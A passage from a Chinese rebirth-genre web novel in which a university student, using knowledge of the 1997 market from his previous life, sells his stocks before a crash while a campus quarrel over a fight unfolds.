他停了一下,“而且你帮过我。最近家里出了点事,要不是你帮我出的主意,我连吃馒头的钱都没有。现在每天能吃上肉,所以这种选择对我来说没什么可犹豫的。” 楚强说话时的表情跟平时没什么两样,那张扑克脸上看不出任何情绪波动,好像只是在陈述一个事实。 韩学涛拿起桌上的课本:“随你吧,以后后悔了别赖我。” 对楚强的到来,小白倒是挺开心的——这回计算机课他能和楚强做同桌了。而且楚强跟他 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消息不长,但措辞严厉。大意是:为规范证券市场,防范金融风险,即日起严禁国有企业、上市公司等利用银行信贷资金及自有资金炒作股票。已入市的,要限期清理。各级监管部门要加强检查,对违规行为严肃处理。 韩学涛把这则消息从头到尾看了两遍,然后合上报纸,靠在自行车上,咬了一口冰棍,没说话。 这个消息,放在别人眼里,可能只是政府又一次“规范市场”的常规操作。国企资金入市炒股,这事儿早就不是秘密了,1994年、1995年都出过类似的通知,市场反应也就那么回事。该涨还涨。 但韩学涛知道,这一次不一样。 五月份出这个消息,意味着监管层已经准备接下来的动作了。 国企资金是这波行情的重要推手之一,现在要把这个水龙头拧紧,市场的供给端就会发生变化。 他回想了一下这波行情的节奏——从年初到现在,已经涨了快五个月了。按照上一世的历史轨迹,顶部就在五月中旬。消息出来到真正见顶,还有几天的时间窗口。 差不多了。 自己的股票,这几天就准备卖出吧。 第103章 我有一个内幕消息 “老谢,今天老师点名的话,帮我请个假。” 星期一一大早,韩学涛就背上了包,准备出门。 老谢还在床上赖着,探出半个头来:“一大早干嘛去?” “有点事。”韩学涛没多说。 他走到门口,又想起什么,折回来走到小白的床边。小白已经洗漱完了,正坐在床边系鞋带。 “小白,今天计算机专业课,老师要是点名问起来,也帮我请个假。理由嘛——你自己随便编一个就行。” “嗯。你去吧,有人问起来,我会说。”小白点了点头,也没问韩学涛干什么去。 韩学涛转身出了门,骑上自行车就往校外奔。 上周五,财政部突然发布重磅消息——证券交易印花税税率从3‰上调至5‰。这是1997年股市最重量级的调控政策,消息一出,舆论就沸腾了。 隔了一个周末,消息在市场上发酵了两天。今天,无论如何也该是清仓的时候了。 经过食堂买了两个包子,韩学涛一个手扶把,一个手拿着包子啃。路过生活超市旁边的报刊亭,他都骑过去了,又刹住车,倒了回来。 刘阿姨正在整理报纸,看见他回来,有点意外:“小韩?一早要买什么报纸?” 韩学涛把自行车支好,走过去,压低声音说:“阿姨,我跟你说个事儿。” 刘阿姨看他神色认真,也凑过来。 “我得到了一个内幕消息,股票最近可能要下跌。您要是自己炒的话,能卖就卖,不能卖就减减仓吧。” 这阿姨对他不错,每次来买报纸都送一根冰棍。 这是啥?这就是善缘。能提醒一句就提醒一句。至于阿姨信不信,就不关他的事了。 刘阿姨吓了一跳,手里的报纸都放下了:“真的假的?你哪来的消息?可靠吗?” “消息的来源我就不好说了。”韩学涛笑了笑,“但是反正我信了,这个渠道以前给的准确率极高。您看,我今天早上课都不上了,就是去营业部卖股票的。” 刘阿姨看着他,半信半疑地点了点头。她还没想好该怎么回应,韩学涛已经冲她摆了摆手,骑上车走了。 宁海证券,新民路营业部。 早上八点,全体员工早会。 营业部经理四十出头,头发梳得一丝不苟,站在前面,手里拿着文件夹,表情严肃中带着点喜气。 “今天先说第一件事。”经理环顾一圈,“丁瑶同志,从今天起,正式转正了!” 他带头鼓掌。 底下掌声响起来,有真诚的,有敷衍的,也有酸溜溜的。 “这是我们营业部市场化招聘以来,转正的第一个正式员工。小丁入职以来,工作认真负责,客户开发和服务都做得很好,业绩有目共睹。希望大家向小丁同志学习。” 丁瑶坐在下面,腰板挺得笔直,迎着所有人的目光,脸上挂着得体的微笑。 她心里想的却是韩学涛。 万万没想到,这个大一的小师弟成了她的客户之后,对她的帮助会这么大。作为唯一一个没有内部关系、纯粹靠市场化招聘进来的员工,她当初连转正都不敢想。现在,她竟然是第一个转正的。 随着韩学涛的账户不断盈利,她的客户权益也稳步增长。甚至有一些老员工都眼红了——那可是一笔不断增值的大资金。不过因为韩学涛和她是大学校友,其他人也不好意思硬抢。 丁瑶心想,自己是不是应该请师弟吃一顿饭呢? 孟经理拍了拍桌子,把大家的注意力拉回来。 “第二件事,”他的语气沉下来,“上周五,财政部上调了印花税,从千分之三调到千分之五。这个消息,大家应该都知道了。” 底下安静了,所有人都竖着耳朵听。 “我的判断是——短期会有冲击,但中期趋势不变。”孟经理的语气很笃定,“为什么?因为当前市场的核心驱动逻辑,不是印花税,而是港岛回归。七月份回归之前,政策面的主基调是稳定和繁荣。上调印花税,目的是降温,不是逆转。管理层要的是慢牛,不是熊市。” 他顿了顿,目光扫过所有人:“所以,大家要把这个信心传递给客户。客户可能会恐慌,会来问,会想割肉。你们要做的,是告诉他们——趋势没变,基本面没变,回归的红利还没兑现。短期波动是正常的,甚至可能是加仓的机会。” 底下有人点头,有人在本子上记。 孟经理最后强调了一句:“当然,具体到个股,要区别对待。前期涨幅过大的、没有业绩支撑的,该提醒风险也要提醒。但整体上,不要制造恐慌。” 散会了。 丁瑶回到自己的工位,把电脑打开,交易系统登录上去。屏幕上跳动着红红绿绿的数字,距离九点半开盘还有十几分钟。 她把桌面上的东西整理了一下,拿起水杯喝了口水,脑子里又闪过韩学涛的脸。 不知道他今天会不会来。 就在韩学涛骑着自行车去证券营业部的时候,李曼刚结束早锻炼,拎着从食堂打的早餐回到寝室。 她推开门,把粥和包子放在桌上,正要去洗漱,床头的电话就响了。 一个室友刚好在附近,顺手接起来:“喂?……嗯,在呢,你等一下。”她把话筒递过来,“李曼,找你的。” 李曼有些诧异,谁这么早打电话来?她接过话筒:“喂?” 电话那头传来罗点点的声音,但跟她平时说话的语气完全不一样,又急又冲:“曼曼!韩学涛到底怎么回事儿?是不是他跟马辉说我男朋友不是好人?他凭什么这么说啊!” 李曼顿时一怔:“啥?不会吧,你从哪儿听说的?” “马辉亲口说的!还能有谁?”罗点点的声音带着明显的怒气,“曼曼你跟我说实话,韩学涛有没有跟你说过吴翔的坏话?他是不是在背后嚼舌头了?” “没有啊。”李曼连忙说,“韩学涛以前也没见过吴翔,为什么会说他坏话?” “那我怎么知道?”罗点点冲道,“我们好心好意去宁海大学找你们吃饭,他要是不想请就直说,谁稀罕他那一顿?在背后搬弄是非算什么东西!” “不是,点点你冷静一下,这其中是不是有什么误会?”李曼急道,“马辉为什么要跟你说这些?” “何止是说,他直接动手打人!”罗点点的声音一下子高了八度,“就昨天,我和吴翔去他们农院找他,结果马辉在食堂当着那么多人的面动手打人,打的时候亲口说的,说韩学涛也跟他说我男朋友不是好人!你要不信你自己去问马辉,看我有没有冤枉你们!” 李曼脑子里嗡了一下,一时语塞。 “那后来呢?闹成什么样了?”她问。 “什么样?”罗点点的声音哽咽了起来,“吴翔被打得满脸是血,头上缝了七针,现在还在医院!” “啊?” 第104章 我去把股票卖了 跟罗点点通完电话,李曼早餐都顾不上吃,抓起外套就往外跑。 她一路小跑到计算机系的大教室,推门进去,教室里只稀稀拉拉坐着几个人,而且还在吃早饭。 她挑了个靠前的位置坐下,把包放在旁边的椅子上占好座,然后就开始等。 一分钟,两分钟,五分钟,十分钟。 人越来越多,教室渐渐坐满了大半。上课铃快响了,韩学涛还没来。 李曼急得不行,眼睛一直盯着门口,每进来一个人就看一眼,每看一眼,眉头就紧一分。 离上课还有不到十分钟的时候,周晓白和楚强从门口走了进来。 李曼噌地站起来,招手喊:“小白!韩学涛呢?” 小白被她这架势吓了一跳:“涛哥……今天有事,一大早就出去了。” “啊?”李曼的声音都变了调,又急又气,“他干嘛去了?什么时候能回来?” 小白摇摇头:“不知道。他一大早就出门了,只说老师点名的话帮他请个假,我也没问他去干什么。” 李曼气得直咬牙:“见到他让他来找我!就说我找他有急事!” 小白一缩脖子,连连点头:“嗯嗯!一定一定!” “今天一定让他来找我!” 李曼胸口起伏着坐回座位上。上课铃响了,老师走进来开始讲课。她翻开课本,却一个字都听不进去,手里的笔在笔记本上戳了好几个黑点。 气死了。找你的时候你不在,而且还逃课! 与此同时,韩学涛赶到了宁海证券新民路营业部。 推开门,声浪扑面而来。交易大厅人声鼎沸——到处是站着的人,三三两两聚在一起,声音一个比一个大。毕竟周五出了那么重大的消息,很多股民根本坐不住。 “印花税从千三调到千五,涨了快一倍!” “我满仓啊,周一要是大跌,这半年白干了。” “大跌不至于吧?说是为了抑制过度投机。” “抑制投机?交易成本涨了一倍!” “我有个内部消息——这次是为了给港岛回归让路,先挤泡沫,回归后才能稳稳地涨。” 议论声嗡嗡作响,说什么的都有。大厅里弥漫着一股躁动的气氛,像一锅快要烧开的水。 韩学涛扫了一圈,找了个靠边的位置坐下。旁边有人跟他打招呼——巧了,还是上次那个胖大叔,嘴里叼着烟卷,从阿诗玛换成了红塔山。 “小伙子来得不多嘛。” “平时要上课。”韩学涛说。 胖大叔点点头:“你上次买的股票怎么样了?” “没看呢。今天有空过来看一眼。” “肯定没问题。”胖大叔大手一挥,“现在是牛市,随便买一只都能赚钱。不论政策还是信心,都在股民这边。” “信心是没错,”韩学涛说,“但政策……不是刚加了印花税吗?” 胖大叔一挥手:“这是利好!” “利好?” “政府为什么加印花税?因为市场太火了,要降温。政府为什么要降温?因为它觉得市场还能继续涨,只是要慢慢涨。这不就是利好嘛!”他越说越来劲,“再说了,港岛回归在即,股市能跌吗?你放心,政府比咱们还怕跌呢!” 韩学涛笑了笑:“有道理。” 话音未落,大厅忽然安静下来。 电子屏亮了。九点半,开盘。 大盘微微低开,不到三个点,大厅里响起一阵低低的惊呼。但低开只持续了一瞬间——指数开始直线上拉,红柱一根接一根往上窜。 “看到了吧!”胖大叔一拍大腿,“我就说是利好!这时候谁要卖,谁就上主力的当了!” 韩学涛看了一眼自己买的那只股票的价格——比他二月份买入时,涨了三倍多。 他当时只是凭运气选股,现在看来运气还不错。 他站了起来。 “这才刚开盘,去哪儿?”胖大叔拉了他一把。 “去把股票卖了。”韩学涛淡淡道。 胖大叔嘴里的烟差点掉下来:“现在卖可就亏了!回归前搞不好还能再翻一倍!” 韩学涛笑了笑:“学习才是我的主业。以后机会有的是。呃,谢谢大叔。” 胖大叔张了张嘴,看着他那双平静的眼睛,到嘴边的话又咽了回去。 他目送韩学涛的背影穿过人群,消失在柜台那边。手里的烟烧到了过滤嘴,烫了一下手指,才反应过来,赶紧掐灭。 心里突然有点发虚。 丁瑶桌上的电话响了。 她拿起来,还没开口,那边就传来韩学涛的声音,干脆利落:“师姐,帮我把手上的股票全卖掉。” 丁瑶愣了一下,以为自己听错了:“现在卖?” “对,全卖。” 丁瑶下意识地看了一眼电脑屏幕。大盘分时线昂首向上,红柱一根接一根,成交量稳步放大,市场情绪很热。早上开盘那点低开早就被吞得干干净净,现在市场上只有一种声音——买。 她握着话筒,压低声音:“师弟,你确定?周五是加了印花税,但今天早上的走势你看到了,利空已经被消化掉了,这说明市场信心很足。早上开会我们老总还专门说了,短期震荡不改长期向好,港岛回归之前不会有大的调整。你现在卖,不是跟钱过不去吗?” 她的语速很快,语气急切:“就算你要卖,最近的时间窗口也应该是在港岛回归以后。现在离回归还有一个多月,行情至少还能走一波——” “师姐,我决定了。” 韩学涛的声音不大,语气也很平静,但没有任何商量的余地。 丁瑶张了张嘴,话到嘴边被这四个字堵了回去。 她叹了口气,手指落在键盘上:“我知道了,现在帮你下单。” 此时买单正汹涌,韩学涛那点股票没费什么劲就全部成交了。丁瑶看着屏幕上跳出来的成交数据,一时有些恍惚。 她算了一下。 八万本金,变成了二十二万多。 她上个月刚转正,工资加补贴,一个月满打满算不到六千块。照这个速度,这位读大一的小师弟,光股票账户上的钱,就够她不吃不喝赚上几十年。 丁瑶靠在椅背上,看着屏幕上的数字,心情有些复杂。 韩学涛赶回学校,也没急着去上课,直接回了寝室。 反正课也赶不上了,不如把那套MIT的GPS课程多听一点,早点听完早点还给冯老师。 他一边听一边在笔记本上记,时间过得飞快。 快到中午的时候,寝室里的人陆陆续续回来了。 小白进门看见韩学涛,立刻把李曼找他的事说了,末了还补了一句:“她看起来挺着急的,而且……好像有点生气。” “???” 韩学涛拿起话筒,拨了李曼宿舍的号码。